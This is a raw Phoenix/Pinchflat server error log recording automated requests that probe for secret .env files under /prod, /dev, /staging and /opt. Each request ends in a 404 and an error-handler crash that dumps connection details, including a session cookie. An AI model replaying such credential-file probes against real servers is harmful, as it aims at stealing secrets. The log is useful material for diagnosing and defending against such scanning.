pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3375.0>, params: %{}, path_info: ["prod", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/prod/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6aIPvPRyuccAARGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:13.280 [info] GET /dev/.env 02:10:13.281 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=279.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.282 [debug] QUERY OK source="settings" db=0.2ms idle=189.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.282 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.283 [error] #PID<0.3376.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 72) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dev/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3376.0>, params: %{}, path_info: ["dev", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/dev/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6aejU9M6rsMAARHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:13.374 [info] GET /staging/.env 02:10:13.375 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=282.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.376 [debug] QUERY OK source="settings" db=0.2ms idle=188.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.376 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.377 [error] #PID<0.3377.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 73) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /staging/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /staging/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3377.0>, params: %{}, path_info: ["staging", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/staging/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6a04gFsjvCcAARIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /staging/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:13.469 [info] GET /opt/.env 02:10:13.471 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=282.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.471 [debug] QUERY OK source="settings" db=0.2ms idle=189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.471 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.472 [error] #PID<0.3378.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 74) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /opt/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /opt/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/opt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3378.0>, params: %{}, path_info: ["opt", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/opt/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6bLnYCve2ugAARJB"} ], scheme: :http, 